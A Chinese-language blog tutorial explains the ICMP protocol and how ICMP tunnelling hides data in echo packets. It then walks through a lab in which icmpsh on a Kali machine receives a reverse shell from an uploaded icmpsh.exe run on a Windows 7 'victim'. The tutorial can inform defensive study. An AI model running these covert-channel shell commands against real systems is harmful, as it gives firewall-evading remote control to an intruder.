首页 > 技术文章 > 关于ICMP隧道的搭建

sec0reluo 2021-10-26 08:01 原文

1.icmp协议

Internet Control Message Protocol Internet控制报文协议。它是TCP/IP协议簇的一个子协议,用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用于网络本身的消息。这些控制消息虽然并不传输用户数据,但是对于用户数据的传递起着重要的作用

ICMP协议主要提供两种功能,

一种是差错报文,一种是信息类报文。信息类报文包括回显请求和回显应答,以及路由器通告和路由器请求。常见的差错报文类型包括目的不可达、重定向、超时和参数问题。

主要特点:

确认IP数据包是否成功到达目的地

通知源主机发送IP数据包丢失的原因

ICMP是基于IP协议工作的

ICMP只能作用于IPV4,IPV6下,使用ICMPv6

2、ICMP隧道

(1)原理:

由于ICMP报文自身可以携带数据,而且ICMP报文是由系统内核处理的,不占用任何端口,因此具有很高的隐蔽性

通常ICMP隧道技术采用ICMP的ICMP_ECHO和ICMP_ECHOREPLY两种报文,把数据隐藏在ICMP数据包包头的选项域中,利用ping命令建立隐蔽通道。简单说就是,改变操作系统默认填充的Data,替换成我们自己的数据。

所以现在的ICMP隧道技术,基本采用修改ICMPECHO和ICMPECHOREPLY两种报文,把消息隐藏在数据中,利用ping或 tracert 命令建立隐蔽通道。

优缺点

优点:

防火墙对ICMP_ECHO数据包是放行的,并且内部主机不会检查ICMP数据包所携带的数据内容,隐蔽性高

缺点:

ICMP隐蔽传输是无连接的,传输不是很稳定,而且隐蔽通道的带宽很低

利用隧道传输时,需要接触更低层次的协议 ,这就需要高级用户权限。

隧道搭建

kali IP:192.168.220.129

Windows 7 IP 192.168.220.132

先在kali上下载icmpsh

git clone https://github.com/inquisb/icmpsh.git

解压icmpsh

unzip icmpsh-master.zip

image-20211020092906071

使用该工具需要安装python 的 impacket

pip install impacket -i https://pypi.douban.com/simple

先关闭自身的icmp

sudo sysctl -w net.ipv4.icmp_echo_ignore_all=1

最后执行icmpsh_m.py 192.168.220.129 192.168.220.132

在受害主机(Windows 7)中,上传icmpsh

之后执行icmpsh.exe -t 192.168.220.129

执行完成之后,kali便能收到Windows 7 使用icmp隧道的shell

image-20211020093212601

推荐阅读